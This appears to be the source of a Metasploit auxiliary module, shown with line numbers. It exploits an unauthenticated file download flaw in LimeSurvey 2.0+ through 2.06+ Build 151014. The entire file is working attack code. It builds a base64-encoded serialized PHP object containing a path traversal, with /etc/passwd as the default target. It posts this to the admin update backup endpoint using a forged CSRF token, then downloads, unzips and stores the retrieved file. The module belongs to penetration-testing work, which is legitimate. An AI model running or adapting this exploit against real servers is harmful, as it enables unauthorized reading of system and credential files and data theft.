Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
# for extracting files
7
require 'zip'
8

9
class MetasploitModule < Msf::Auxiliary
10
  include Msf::Auxiliary::Report
11
  include Msf::Exploit::Remote::HttpClient
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'Limesurvey Unauthenticated File Download',
18
        'Description' => %q{
19
          This module exploits an unauthenticated file download vulnerability
20
          in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded
21
          as a ZIP and unzipped automatically, thus binary files can be downloaded.
22
        },
23
        'Author' => [
24
          'Pichaya Morimoto', # Vulnerability Discovery
25
          'Christian Mehlmauer' # Metasploit module
26
        ],
27
        'License' => MSF_LICENSE,
28
        'References' => [
29
          ['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-lime-survey/'],
30
          ['URL', 'https://www.limesurvey.org/blog/22-security/136-limesurvey-security-advisory-10-2015'],
31
          ['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1']
32
        ],
33
        'DisclosureDate' => '2015-10-12'
34
      )
35
    )
36

37
    register_options(
38
      [
39
        Opt::RPORT(80),
40
        OptString.new('TARGETURI', [true, 'The base path to the limesurvey installation', '/']),
41
        OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
42
        OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15])
43
      ]
44
    )
45
  end
46

47
  def filepath
48
    datastore['FILEPATH']
49
  end
50

51
  def traversal_depth
52
    datastore['TRAVERSAL_DEPTH']
53
  end
54

55
  def payload
56
    traversal = '/..' * traversal_depth
57
    file = "#{traversal}#{filepath}"
58
    serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}'
59
    Rex::Text.encode_base64(serialized)
60
  end
61

62
  def unzip_file(zipfile)
63
    zip_data = Hash.new
64
    begin
65
      Zip::File.open_buffer(zipfile) do |filezip|
66
        filezip.each do |entry|
67
          zip_data[::File.expand_path(entry.name)] = filezip.read(entry)
68
        end
69
      end
70
    rescue Zip::Error => e
71
      print_error("Error extracting ZIP: #{e}")
72
    end
73
    return zip_data
74
  end
75

76
  def run
77
    csrf_token = Rex::Text.rand_text_alpha(10)
78

79
    vars_post = {
80
      'YII_CSRF_TOKEN' => csrf_token,
81
      'destinationBuild' => Rex::Text.rand_text_alpha(5),
82
      'datasupdateinfo' => payload
83
    }
84

85
    res = send_request_cgi({
86
      'method' => 'POST',
87
      'uri' => normalize_uri(target_uri, 'index.php', 'admin', 'update', 'sa', 'backup'),
88
      'cookie' => "YII_CSRF_TOKEN=#{csrf_token}",
89
      'vars_post' => vars_post
90
    })
91

92
    if res && res.code == 200 && res.body && res.body.include?('Download this file')
93
      match = res.body.match(%r{<div class="updater-background">\s+<p class="success " style="text-align: left;">\s+<strong>[^<]+</strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>})
94
      if match
95
        local_path = match[1]
96
        download_url = match[2]
97
        print_status("File saved to #{local_path}")
98
        print_status("Downloading backup from URL #{download_url}")
99

100
        res = send_request_cgi({
101
          'method' => 'GET',
102
          'uri' => download_url
103
        })
104

105
        if res && res.code == 200
106
          unzipped = unzip_file(res.body)
107

108
          unzipped.each do |filename, content|
109
            print_good("Filename: #{filename}")
110
            print_good(content)
111

112
            path = store_loot(
113
              'limesurvey.http',
114
              'application/octet-stream',
115
              rhost,
116
              content,
117
              filename
118
            )
119
            print_good("File saved in: #{path}")
120
          end
121
        else
122
          print_error('Failed to download file')
123
        end
124
      else
125
        print_error('Failed to download file')
126
      end
127
    else
128
      print_error('Failed to download file')
129
    end
130
  end
131
end
132

133